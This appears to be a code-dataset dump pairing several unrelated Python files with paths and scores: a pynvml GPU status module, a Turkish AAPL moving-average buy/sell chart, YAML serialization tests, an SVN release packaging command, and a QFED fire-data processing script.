info['powLimitStrMin'] = powLimitStrMin
info['powLimitStrMax'] = powLimitStrMax
return info
# 返回gpu的进程占用数量
def GpuGetDeviceProcessCounts(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
proc = nvmlDeviceGetComputeRunningProcesses(handle)
info = {}
proc_counts = len(proc)
info['proc_counts'] = proc_counts
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
# print(info)
return info
# 返回gpu的进程占用情况
def GpuGetDeviceProcessDetails(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
# 确保程序能够正确执行,异常不能这样写,待改进
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
proc = nvmlDeviceGetComputeRunningProcesses(handle)
info = {}
proc_counts = len(proc)
info['proc_counts'] = proc_counts
info['processes'] = {}
for i in range(0, proc_counts):
key = 'proc%d' % (i + 1)
p = proc[i]
content = {}
try:
name = nvmlSystemGetProcessName(p.pid).decode('utf-8')
if (p.usedGpuMemory == None):
mem = 'N\A'
else:
mem = '%d MiB' % (p.usedGpuMemory / 1024 / 1024)
except NVMLError as err:
if err.__str__() == "Not Found":
#查询的时候这个进程刚好消失
continue
else:
error_info = handleError(err)
return error_info
else:
content['pid'] = p.pid
content['name'] = name
content['mem_usage'] = mem
info['processes'][key] = content
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
# print(info)
return info
# this is not exectued when module is imported
if __name__ == "__main__":
nvmlInit()
print(GpuGetDeviceProcessDetails(0)) | LocalService/localapp/DockerApp/local_service.py | from pynvml import *
import json
# 系列名称
brandNames = {
NVML_BRAND_UNKNOWN: "Unknown",
NVML_BRAND_QUADRO: "Quadro",
NVML_BRAND_TESLA: "Tesla",
NVML_BRAND_NVS: "NVS",
NVML_BRAND_GRID: "Grid",
NVML_BRAND_GEFORCE: "GeForce",
}
# 首先应该初始化nvmlInit()
# 返回错误类型
def handleError(err):
info = {'error_info':err.__str__()}
return info
# 获取GPU的数量
def GpuGetCounts():
info = {'counts':nvmlDeviceGetCount()}
return info
def ValidIndex(index):
if int(index) >= nvmlDeviceGetCount() or int(index) < 0:
return False
else:
return True
# 获取设备名称
def GpuGetDeviceName(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info':'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
device_name = nvmlDeviceGetName(handle).decode('utf-8')
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'device_name':device_name}
return info
# 获取设备系列
def GpuGetDeviceBrand(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
brand_name = brandNames[nvmlDeviceGetBrand(handle)]
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'brand_name':brand_name}
return info
# 获取persistence_mode
def GpuGetDevicePersistenceModel(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
mode = 'Enabled' if (nvmlDeviceGetPersistenceMode(handle) != 0) \
else 'Disabled'
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'mode':mode}
return info
# 获取设备的UUID
def GpuGetDeviceUUID(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
uuid = nvmlDeviceGetUUID(handle).decode('utf-8')
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'uuid':uuid}
return info
# 获取风扇转速
def GpuGetDeviceFanSpeed(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
fan = str(nvmlDeviceGetFanSpeed(handle))
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'fan':fan}
return info
# 获取工作状态,功耗状态
def GpuGetDevicePerformanceState(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
perfState = nvmlDeviceGetPowerState(handle)
state = 'P%s' % perfState
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'power_state':state}
return info
# 获取Gpu内存使用情况,GB
def GpuGetDeviceMemory(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
mem_info = nvmlDeviceGetMemoryInfo(handle)
mem_total = str(mem_info.total / 1024 / 1024 / 1024)
mem_used = str(mem_info.used / 1024 / 1024 / 1024)
mem_free = str(mem_info.total / 1024 / 1024 /1024 - \
mem_info.used / 1024 / 1024 /1024)
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'mem_total':mem_total,
'mem_used':mem_used,
'mem_free':mem_free}
info = info
return info
# Bar1 内存使用 尚未明确这个数据在GPU架构中的角色,MB
def GpuGetDeviceBar1Memory(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
memInfo = nvmlDeviceGetBAR1MemoryInfo(handle)
mem_total = str(memInfo.bar1Total / 1024 / 1024)
mem_used = str(memInfo.bar1Used / 1024 / 1024)
mem_free = str(memInfo.bar1Total / 1024 / 1024 - \
memInfo.bar1Used / 1024 / 1024)
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'mem_total': mem_total,
'mem_used': mem_used,
'mem_free': mem_free}
info = info
return info
# 获取温度
def GpuGetDeviceTemperature(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
temp = str(nvmlDeviceGetTemperature(handle, NVML_TEMPERATURE_GPU))
temp_shutdown = str(nvmlDeviceGetTemperatureThreshold(handle,
NVML_TEMPERATURE_THRESHOLD_SHUTDOWN))
temp_slowdown = str(nvmlDeviceGetTemperatureThreshold(handle,
NVML_TEMPERATURE_THRESHOLD_SLOWDOWN))
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {"cur_temp":temp,
"temp_shutdown":temp_shutdown,
"temp_slowdown":temp_slowdown}
return info
# 获取设备利用率
def GpuGetDeviceUtilization(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
util = nvmlDeviceGetUtilizationRates(handle)
(util_int, ssize) = nvmlDeviceGetEncoderUtilization(handle)
encoder_util = str(util_int)
(util_int, ssize) = nvmlDeviceGetDecoderUtilization(handle)
decoder_util = str(util_int)
gpu_util = str(util.gpu)
mem_util = str(util.memory)
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'gpu_util': gpu_util,
'mem_util': mem_util,
'encoder_util': encoder_util,
'decoder_util':decoder_util
}
return info
# 获取设备使用功率
def GpuGetDevicePowerUsage(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
powDraw = (nvmlDeviceGetPowerUsage(handle) / 1000.0) # 功率消耗
powDrawStr = '%.2f' % powDraw
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'power_usage':powDrawStr}
return info
# 返回gpu的功率信息
def GpuGetDevicePowerInfo(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
powMan = nvmlDeviceGetPowerManagementMode(handle)
powManStr = 'Supported' if powMan != 0 else 'N/A'
powLimit = (nvmlDeviceGetPowerManagementLimit(handle) / 1000.0)
# 设定的功率上限
setting_powLimit = '%.2f W' % powLimit
powLimit = (nvmlDeviceGetPowerManagementDefaultLimit(handle) / 1000.0)
default_powLimit = '%.2f W' % powLimit
powLimit = nvmlDeviceGetPowerManagementLimitConstraints(handle)
#强制的功率上下限
powLimitStrMin = '%.2f W' % (powLimit[0] / 1000.0)
powLimitStrMax = '%.2f W' % (powLimit[1] / 1000.0)
powLimit = (nvmlDeviceGetEnforcedPowerLimit(handle) / 1000.0)
# 强制的功率限制,与设定的功率上限类似?
enforcedPowLimitStr = '%.2f W' % powLimit
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {}
info['bool_managementmode'] = powManStr
info['setting_powLimit'] = setting_powLimit
info['default_powLimit'] = default_powLimit
info['enforcedPowLimitStr'] = enforcedPowLimitStr # 与设定的限制有差别?待定
info['powLimitStrMin'] = powLimitStrMin
info['powLimitStrMax'] = powLimitStrMax
return info
# 返回gpu的进程占用数量
def GpuGetDeviceProcessCounts(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
proc = nvmlDeviceGetComputeRunningProcesses(handle)
info = {}
proc_counts = len(proc)
info['proc_counts'] = proc_counts
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
# print(info)
return info
# 返回gpu的进程占用情况
def GpuGetDeviceProcessDetails(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
# 确保程序能够正确执行,异常不能这样写,待改进
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
proc = nvmlDeviceGetComputeRunningProcesses(handle)
info = {}
proc_counts = len(proc)
info['proc_counts'] = proc_counts
info['processes'] = {}
for i in range(0, proc_counts):
key = 'proc%d' % (i + 1)
p = proc[i]
content = {}
try:
name = nvmlSystemGetProcessName(p.pid).decode('utf-8')
if (p.usedGpuMemory == None):
mem = 'N\A'
else:
mem = '%d MiB' % (p.usedGpuMemory / 1024 / 1024)
except NVMLError as err:
if err.__str__() == "Not Found":
#查询的时候这个进程刚好消失
continue
else:
error_info = handleError(err)
return error_info
else:
content['pid'] = p.pid
content['name'] = name
content['mem_usage'] = mem
info['processes'][key] = content
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
# print(info)
return info
# this is not exectued when module is imported
if __name__ == "__main__":
nvmlInit()
print(GpuGetDeviceProcessDetails(0)) | 0.1692 | 0.161519 |
from cProfile import label
from operator import index
from turtle import color
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
#Pandas ile verileri okuduk
AAPL = pd.read_csv("AAPL.csv")
#print(AAPL.head())
#30 Günlük hareketli ortalama
SMA30 = pd.DataFrame() #Yeni dataset oluşturduk
SMA30 ['Deger'] = AAPL['Close'].rolling(window=20).mean() #Günlerin son 30 günlük ortalamasını aldık
#30 Günlük hareketli ortalama
SMA100 = pd.DataFrame()
SMA100 ['Deger'] = AAPL['Close'].rolling(window=200).mean() #Günlerin son 100 günlük ortalamasını aldık
#Verilerin hepsini bir veri setine topladık
veriseti = pd.DataFrame()
veriseti['Tarih'] = AAPL['Date']
veriseti['Fiyat'] = AAPL['Close']
veriseti['SMA30'] = SMA30['Deger']
veriseti['SMA100'] = SMA100['Deger']
#Al- Sat Fonksiyonu
def al_sat(veri):
sinyal_Al = []
sinyal_Sat = []
bayrak = -1
for i in range(len(veri)):
if (veri['SMA30'][i] > veri['SMA100'][i]) & (bayrak != 1): #30 günlük ortalama 100 günlükten büyükse
sinyal_Al.append(veri['Fiyat'][i]) #Al sinyaline o günkü fiyatı ekle
sinyal_Sat.append(np.nan) #NaN değerini ekle
bayrak = 1
elif (veri['SMA30'][i] < veri['SMA100'][i]) & (bayrak != 0): #30 günlük ortalama 100 günlükten küçükse
sinyal_Al.append(np.nan) #NaN değerini ekle
sinyal_Sat.append(veri['Fiyat'][i]) #Sat sinyaline o günkü fiyatı ekle
bayrak = 0
else:
sinyal_Al.append(np.nan) #NaN değerini ekle
sinyal_Sat.append(np.nan) #NaN değerini ekle
return (sinyal_Al, sinyal_Sat)
#"veriseti"ni, al_sat fonksiyonuna soktuk ve çıkan Al, Sat değerlerini "al_sat_dataset"e aktardık
al_sat_dataset = al_sat(veriseti)
#al_sat_dataset içinde bulunan değerleri, "veriseti"ne tekrar aktardık
veriseti['Al_Sinyal_Degeri'] = al_sat_dataset[0]
veriseti['Sat_Sinyal_Degeri'] = al_sat_dataset[1]
plt.figure(figsize=(15, 10)) #Grafiğin, inç cinsinden boyutu
plt.plot(veriseti['Fiyat'], label ='AAPL')
plt.plot(veriseti['SMA30'], label ='SMA30')
plt.plot(veriseti['SMA100'], label ='SMA100')
#Scater = işaretlenmiş nokta olarak gösterimi yapar (Al/Sat yapılacak yerleri nokta olarak göstermek için)
plt.scatter(veriseti.index, veriseti['Al_Sinyal_Degeri'], label = 'Al', marker = '*', color = 'green')
plt.scatter(veriseti.index, veriseti['Sat_Sinyal_Degeri'], label = 'Sat', marker = '*', color = 'red')
plt.legend(loc = 'upper left') #grafiğin sol üst tarafına, şekillerin açıklamasını (label) ekler
plt.title('Apple Hisse Verisi')
plt.xlabel('Tarih')
plt.ylabel('Fiyat (USD)')
plt.show() | grafik.py | from cProfile import label
from operator import index
from turtle import color
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
#Pandas ile verileri okuduk
AAPL = pd.read_csv("AAPL.csv")
#print(AAPL.head())
#30 Günlük hareketli ortalama
SMA30 = pd.DataFrame() #Yeni dataset oluşturduk
SMA30 ['Deger'] = AAPL['Close'].rolling(window=20).mean() #Günlerin son 30 günlük ortalamasını aldık
#30 Günlük hareketli ortalama
SMA100 = pd.DataFrame()
SMA100 ['Deger'] = AAPL['Close'].rolling(window=200).mean() #Günlerin son 100 günlük ortalamasını aldık
#Verilerin hepsini bir veri setine topladık
veriseti = pd.DataFrame()
veriseti['Tarih'] = AAPL['Date']
veriseti['Fiyat'] = AAPL['Close']
veriseti['SMA30'] = SMA30['Deger']
veriseti['SMA100'] = SMA100['Deger']
#Al- Sat Fonksiyonu
def al_sat(veri):
sinyal_Al = []
sinyal_Sat = []
bayrak = -1
for i in range(len(veri)):
if (veri['SMA30'][i] > veri['SMA100'][i]) & (bayrak != 1): #30 günlük ortalama 100 günlükten büyükse
sinyal_Al.append(veri['Fiyat'][i]) #Al sinyaline o günkü fiyatı ekle
sinyal_Sat.append(np.nan) #NaN değerini ekle
bayrak = 1
elif (veri['SMA30'][i] < veri['SMA100'][i]) & (bayrak != 0): #30 günlük ortalama 100 günlükten küçükse
sinyal_Al.append(np.nan) #NaN değerini ekle
sinyal_Sat.append(veri['Fiyat'][i]) #Sat sinyaline o günkü fiyatı ekle
bayrak = 0
else:
sinyal_Al.append(np.nan) #NaN değerini ekle
sinyal_Sat.append(np.nan) #NaN değerini ekle
return (sinyal_Al, sinyal_Sat)
#"veriseti"ni, al_sat fonksiyonuna soktuk ve çıkan Al, Sat değerlerini "al_sat_dataset"e aktardık
al_sat_dataset = al_sat(veriseti)
#al_sat_dataset içinde bulunan değerleri, "veriseti"ne tekrar aktardık
veriseti['Al_Sinyal_Degeri'] = al_sat_dataset[0]
veriseti['Sat_Sinyal_Degeri'] = al_sat_dataset[1]
plt.figure(figsize=(15, 10)) #Grafiğin, inç cinsinden boyutu
plt.plot(veriseti['Fiyat'], label ='AAPL')
plt.plot(veriseti['SMA30'], label ='SMA30')
plt.plot(veriseti['SMA100'], label ='SMA100')
#Scater = işaretlenmiş nokta olarak gösterimi yapar (Al/Sat yapılacak yerleri nokta olarak göstermek için)
plt.scatter(veriseti.index, veriseti['Al_Sinyal_Degeri'], label = 'Al', marker = '*', color = 'green')
plt.scatter(veriseti.index, veriseti['Sat_Sinyal_Degeri'], label = 'Sat', marker = '*', color = 'red')
plt.legend(loc = 'upper left') #grafiğin sol üst tarafına, şekillerin açıklamasını (label) ekler
plt.title('Apple Hisse Verisi')
plt.xlabel('Tarih')
plt.ylabel('Fiyat (USD)')
plt.show() | 0.113653 | 0.231169 |
import yaml
from samplespace import pyyaml_support
from samplespace import distributions, algorithms, repeatablerandom
from tests.test_distributions import dist_lookup, dist_args
pyyaml_support.enable_yaml_support()
def test_tags():
"""Ensure that YAML tags are injected."""
assert repeatablerandom.RepeatableRandomSequence.yaml_tag == u'!samplespace.rrs'
assert repeatablerandom.RepeatableRandomSequenceState.yaml_tag == u'!samplespace.rrs_state'
assert algorithms.AliasTable.yaml_tag == u'!samplespace.aliastable'
assert distributions.Distribution.yaml_tag == u'!samplespace.distribution'
for dist_cls in dist_lookup.values():
assert dist_cls.yaml_tag == distributions.Distribution.yaml_tag
def test_serialize_rrs():
"""Verifies that RRSs serialize to YAML correctly."""
rrs = repeatablerandom.RepeatableRandomSequence(seed=12345)
[rrs.getnextblock() for _ in range(100)]
rrs_as_yaml = yaml.dump(rrs)
assert rrs_as_yaml.startswith(repeatablerandom.RepeatableRandomSequence.yaml_tag)
expected = rrs.getnextblock()
[rrs.getnextblock() for _ in range(100)]
new_rrs = yaml.load(rrs_as_yaml, Loader=yaml.FullLoader)
actual = new_rrs.getnextblock()
assert actual == expected
def test_serialize_rrs_state():
"""Verifies that RRS states serialize to YAML correctly."""
rrs = repeatablerandom.RepeatableRandomSequence(seed=12345)
[rrs.getnextblock() for _ in range(100)]
state = rrs.getstate()
expected = rrs.getnextblock()
state_as_yaml = yaml.dump(state)
assert state_as_yaml.startswith(repeatablerandom.RepeatableRandomSequenceState.yaml_tag)
[rrs.getnextblock() for _ in range(100)]
new_state = yaml.load(state_as_yaml, Loader=yaml.FullLoader)
assert new_state == state
rrs.setstate(new_state)
actual = rrs.getnextblock()
assert actual == expected
def test_serialize_alias_table():
"""Verifies that alias tables convert to and from YAML correctly."""
at = algorithms.AliasTable(
probability=[1.0, 2.0, 3.0, 4.0],
alias=[0, 1, 2, 3])
as_yaml = yaml.dump(at)
assert as_yaml.startswith(algorithms.AliasTable.yaml_tag)
assert yaml.load(as_yaml, Loader=yaml.FullLoader) == at
def test_serialize_distributions():
"""Verifies that distributions convert to and from YAML correctly."""
for name, args in dist_args:
cls = dist_lookup[name]
dist: distributions.Distribution = cls(**args)
as_yaml = yaml.dump(dist)
assert as_yaml.startswith(cls.yaml_tag)
assert yaml.load(as_yaml, Loader=yaml.FullLoader) == dist | tests/test_pyyaml_support.py | import yaml
from samplespace import pyyaml_support
from samplespace import distributions, algorithms, repeatablerandom
from tests.test_distributions import dist_lookup, dist_args
pyyaml_support.enable_yaml_support()
def test_tags():
"""Ensure that YAML tags are injected."""
assert repeatablerandom.RepeatableRandomSequence.yaml_tag == u'!samplespace.rrs'
assert repeatablerandom.RepeatableRandomSequenceState.yaml_tag == u'!samplespace.rrs_state'
assert algorithms.AliasTable.yaml_tag == u'!samplespace.aliastable'
assert distributions.Distribution.yaml_tag == u'!samplespace.distribution'
for dist_cls in dist_lookup.values():
assert dist_cls.yaml_tag == distributions.Distribution.yaml_tag
def test_serialize_rrs():
"""Verifies that RRSs serialize to YAML correctly."""
rrs = repeatablerandom.RepeatableRandomSequence(seed=12345)
[rrs.getnextblock() for _ in range(100)]
rrs_as_yaml = yaml.dump(rrs)
assert rrs_as_yaml.startswith(repeatablerandom.RepeatableRandomSequence.yaml_tag)
expected = rrs.getnextblock()
[rrs.getnextblock() for _ in range(100)]
new_rrs = yaml.load(rrs_as_yaml, Loader=yaml.FullLoader)
actual = new_rrs.getnextblock()
assert actual == expected
def test_serialize_rrs_state():
"""Verifies that RRS states serialize to YAML correctly."""
rrs = repeatablerandom.RepeatableRandomSequence(seed=12345)
[rrs.getnextblock() for _ in range(100)]
state = rrs.getstate()
expected = rrs.getnextblock()
state_as_yaml = yaml.dump(state)
assert state_as_yaml.startswith(repeatablerandom.RepeatableRandomSequenceState.yaml_tag)
[rrs.getnextblock() for _ in range(100)]
new_state = yaml.load(state_as_yaml, Loader=yaml.FullLoader)
assert new_state == state
rrs.setstate(new_state)
actual = rrs.getnextblock()
assert actual == expected
def test_serialize_alias_table():
"""Verifies that alias tables convert to and from YAML correctly."""
at = algorithms.AliasTable(
probability=[1.0, 2.0, 3.0, 4.0],
alias=[0, 1, 2, 3])
as_yaml = yaml.dump(at)
assert as_yaml.startswith(algorithms.AliasTable.yaml_tag)
assert yaml.load(as_yaml, Loader=yaml.FullLoader) == at
def test_serialize_distributions():
"""Verifies that distributions convert to and from YAML correctly."""
for name, args in dist_args:
cls = dist_lookup[name]
dist: distributions.Distribution = cls(**args)
as_yaml = yaml.dump(dist)
assert as_yaml.startswith(cls.yaml_tag)
assert yaml.load(as_yaml, Loader=yaml.FullLoader) == dist | 0.8288 | 0.632049 |
from pyflu.setuptools.base import CommandBase
from pyflu.modules import deep_import
from pyflu.command import run_script
import os
from os.path import join
import tarfile
import tempfile
import shutil
import re
class VersionCommandBase(CommandBase):
"""
Base class for commands that manipulate version.
"""
user_options = [
("version-path=", None, "path of the file containing the "
"version() function, relative to --from-path"),
]
defaults = {
"version_path": None,
}
def write_version(self, dst_dir, version):
"""
Write the version to a release export.
This implementations writes a simple version() function at the end the
file pointed by self.version_path.
"""
path = join(dst_dir, self.version_path)
f = open(path, "a")
f.write("\ndef version(): return %s\n" % repr(version))
f.close()
class SVNReleaseCommand(VersionCommandBase):
user_options = [
("svn", None, "make a subversion snapshot"),
("release", None, "make a normal release"),
("svn-url=", None, "subversion repository URL"),
("tags-path=", None, "subversion tags path from the base url"),
("from-path=", None, "create releases from this subversion path"),
("name=", None, "name of the release"),
("svn-executable=", None, "path to the subversion executable"),
("version=", None, "version to use for normal releases"),
("copy-to=", None, "copy the resulting archive to the given "
"path with scp"),
]
defaults = {
"svn": False,
"release": False,
"svn_url": None,
"tags_path": "tags",
"from_path": None,
"name": None,
"svn_executable": "/usr/bin/svn",
"version": None,
"copy_to": None
}
boolean_options = ["svn", "release"]
def finalize_options(self):
# Verify options
if self.svn_url is None:
raise ValueError("you must specify the subversion repository URL "
"with --svn-url")
if not self.svn and not self.release:
raise ValueError("you must specify either --release or --svn")
if self.from_path is None:
raise ValueError("you must specify the source svn path with "
"--from-path")
if self.name is None:
raise ValueError("you must specify the target name with --name")
# Verify dependant options
if self.release and self.version is None:
raise ValueError("you must specify a --version for normal "
"releases")
# Generate default values
if self.version_path is None:
self.version_path = join(self.name, "__init__.py")
# Some handy variables
self.tags_url = join(self.svn_url, self.tags_path)
self.src_url = join(self.svn_url, self.from_path)
def run(self):
work_dir = tempfile.mkdtemp()
try:
# Extract code
print "retrieving code from %s..." % self.src_url
dst_dir = join(work_dir, self.name)
output = run_script("%s export %s %s" % (self.svn_executable,
self.src_url, dst_dir), pipe_output=True)
if self.svn:
# Get revision number
last_line = output[0][0].split("\n")[-2]
rev = re.search("(\d+)", last_line).group(0)
version = "r%s" % rev
print "extracted svn revision %s" % rev
elif self.release:
version = self.version
# Write version
self.write_version(dst_dir, version)
# Create archive
try:
os.mkdir("dist")
except OSError:
pass
tar_path = join("dist", "%s-%s.tar.gz" % (self.name, version))
tar = tarfile.open(tar_path, "w:gz")
tar.add(dst_dir, "%s-%s" % (self.name, version))
tar.close()
print "created archive %s" % tar_path
# Upload
if self.copy_to is not None:
print "Copying to %s..." % self.copy_to
run_script("scp %s %s" % (tar_path, self.copy_to))
finally:
shutil.rmtree(work_dir) | pyflu/setuptools/versioning.py | from pyflu.setuptools.base import CommandBase
from pyflu.modules import deep_import
from pyflu.command import run_script
import os
from os.path import join
import tarfile
import tempfile
import shutil
import re
class VersionCommandBase(CommandBase):
"""
Base class for commands that manipulate version.
"""
user_options = [
("version-path=", None, "path of the file containing the "
"version() function, relative to --from-path"),
]
defaults = {
"version_path": None,
}
def write_version(self, dst_dir, version):
"""
Write the version to a release export.
This implementations writes a simple version() function at the end the
file pointed by self.version_path.
"""
path = join(dst_dir, self.version_path)
f = open(path, "a")
f.write("\ndef version(): return %s\n" % repr(version))
f.close()
class SVNReleaseCommand(VersionCommandBase):
user_options = [
("svn", None, "make a subversion snapshot"),
("release", None, "make a normal release"),
("svn-url=", None, "subversion repository URL"),
("tags-path=", None, "subversion tags path from the base url"),
("from-path=", None, "create releases from this subversion path"),
("name=", None, "name of the release"),
("svn-executable=", None, "path to the subversion executable"),
("version=", None, "version to use for normal releases"),
("copy-to=", None, "copy the resulting archive to the given "
"path with scp"),
]
defaults = {
"svn": False,
"release": False,
"svn_url": None,
"tags_path": "tags",
"from_path": None,
"name": None,
"svn_executable": "/usr/bin/svn",
"version": None,
"copy_to": None
}
boolean_options = ["svn", "release"]
def finalize_options(self):
# Verify options
if self.svn_url is None:
raise ValueError("you must specify the subversion repository URL "
"with --svn-url")
if not self.svn and not self.release:
raise ValueError("you must specify either --release or --svn")
if self.from_path is None:
raise ValueError("you must specify the source svn path with "
"--from-path")
if self.name is None:
raise ValueError("you must specify the target name with --name")
# Verify dependant options
if self.release and self.version is None:
raise ValueError("you must specify a --version for normal "
"releases")
# Generate default values
if self.version_path is None:
self.version_path = join(self.name, "__init__.py")
# Some handy variables
self.tags_url = join(self.svn_url, self.tags_path)
self.src_url = join(self.svn_url, self.from_path)
def run(self):
work_dir = tempfile.mkdtemp()
try:
# Extract code
print "retrieving code from %s..." % self.src_url
dst_dir = join(work_dir, self.name)
output = run_script("%s export %s %s" % (self.svn_executable,
self.src_url, dst_dir), pipe_output=True)
if self.svn:
# Get revision number
last_line = output[0][0].split("\n")[-2]
rev = re.search("(\d+)", last_line).group(0)
version = "r%s" % rev
print "extracted svn revision %s" % rev
elif self.release:
version = self.version
# Write version
self.write_version(dst_dir, version)
# Create archive
try:
os.mkdir("dist")
except OSError:
pass
tar_path = join("dist", "%s-%s.tar.gz" % (self.name, version))
tar = tarfile.open(tar_path, "w:gz")
tar.add(dst_dir, "%s-%s" % (self.name, version))
tar.close()
print "created archive %s" % tar_path
# Upload
if self.copy_to is not None:
print "Copying to %s..." % self.copy_to
run_script("scp %s %s" % (tar_path, self.copy_to))
finally:
shutil.rmtree(work_dir) | 0.466846 | 0.131396 |
import warnings
warnings.simplefilter('ignore',DeprecationWarning)
import os
import sys
from numpy import median, savez
from optparse import OptionParser # Command-line args
import qfed
#---------------------------------------------------------------------
if __name__ == "__main__":
igbp_dir = '/nobackup/Emissions/Vegetation/GL_IGBP_INPE'
l2b_file = 'qfed_l2b.txt'
qc_thresh = 0.
npz_file = 'NONE'
# Parse command line options
# --------------------------
parser = OptionParser(usage="Usage: %prog [options] MxD14_granule_path",
version='qfed_level2b-1.0.0' )
parser.add_option("-n", "--npz", dest="npz_file", default=npz_file,
help="binary numpy npz file name (default=%s)"%npz_file )
parser.add_option("-i", "--igbp", dest="igbp_dir", default=igbp_dir,
help="path to IGBP vegetation database (default=%s)"\
%igbp_dir )
parser.add_option("-o", "--output", dest="l2b_file", default=l2b_file,
help="output Level 2B file name (default=%s)"%l2b_file )
parser.add_option("-q", "--qc", dest="qc", type="float", default=qc_thresh,
help="q/c threshold (default=%f)"%qc_thresh )
parser.add_option("-v", "--verbose",
action="store_true", dest="verbose")
(options, mxd14_dir) = parser.parse_args()
if len(mxd14_dir) == 0:
parser.error("missing granule directory")
if options.verbose:
Verb=1
print ""
print " QFED Level 2b Processing"
print ""
else:
Verb=0
# Create Level 2B file
# --------------------
fires = qfed.QFED(mxd14_dir,Verb=Verb,qc_thresh=options.qc)
fires.getSimpleVeg(Path=options.igbp_dir)
# Compute fire size
# -----------------
fires.dozier(Verbose=True)
m = fires.m
# Write out Level 2B file
# -----------------------
fires.print_l2b(options.l2b_file)
# Optionally write npz file
# -------------------------
if options.npz_file != "NONE":
savez(options.npz_file, lon = fires.lon[m],
lat = fires.lat[m],
veg = fires.veg[m],
pow = fires.pow[m],
Tf = fires.Tf[m],
farea = fires.farea[m],
hflux = fires.hflux[m],
pixar = fires.pixar[m])
print ""
print "[] wrote "+options.npz_file | src/Components/qfed/qfed_l2b.py | import warnings
warnings.simplefilter('ignore',DeprecationWarning)
import os
import sys
from numpy import median, savez
from optparse import OptionParser # Command-line args
import qfed
#---------------------------------------------------------------------
if __name__ == "__main__":
igbp_dir = '/nobackup/Emissions/Vegetation/GL_IGBP_INPE'
l2b_file = 'qfed_l2b.txt'
qc_thresh = 0.
npz_file = 'NONE'
# Parse command line options
# --------------------------
parser = OptionParser(usage="Usage: %prog [options] MxD14_granule_path",
version='qfed_level2b-1.0.0' )
parser.add_option("-n", "--npz", dest="npz_file", default=npz_file,
help="binary numpy npz file name (default=%s)"%npz_file )
parser.add_option("-i", "--igbp", dest="igbp_dir", default=igbp_dir,
help="path to IGBP vegetation database (default=%s)"\
%igbp_dir )
parser.add_option("-o", "--output", dest="l2b_file", default=l2b_file,
help="output Level 2B file name (default=%s)"%l2b_file )
parser.add_option("-q", "--qc", dest="qc", type="float", default=qc_thresh,
help="q/c threshold (default=%f)"%qc_thresh )
parser.add_option("-v", "--verbose",
action="store_true", dest="verbose")
(options, mxd14_dir) = parser.parse_args()
if len(mxd14_dir) == 0:
parser.error("missing granule directory")
if options.verbose:
Verb=1
print ""
print " QFED Level 2b Processing"
print ""
else:
Verb=0
# Create Level 2B file
# --------------------
fires = qfed.QFED(mxd14_dir,Verb=Verb,qc_thresh=options.qc)
fires.getSimpleVeg(Path=options.igbp_dir)
# Compute fire size
# -----------------
fires.dozier(Verbose=True)
m = fires.m
# Write out Level 2B file
# -----------------------
fires.print_l2b(options.l2b_file)
# Optionally write npz file
# -------------------------
if options.npz_file != "NONE":
savez(options.npz_file, lon = fires.lon[m],
lat = fires.lat[m],
veg = fires.veg[m],
pow = fires.pow[m],
Tf = fires.Tf[m],
farea = fires.farea[m],
hflux = fires.hflux[m],
pixar = fires.pixar[m])
print ""
print "[] wrote "+options.npz_file | 0.134747 | 0.091992 |
from __future__ import absolute_import, print_function, unicode_literals
from builtins import range
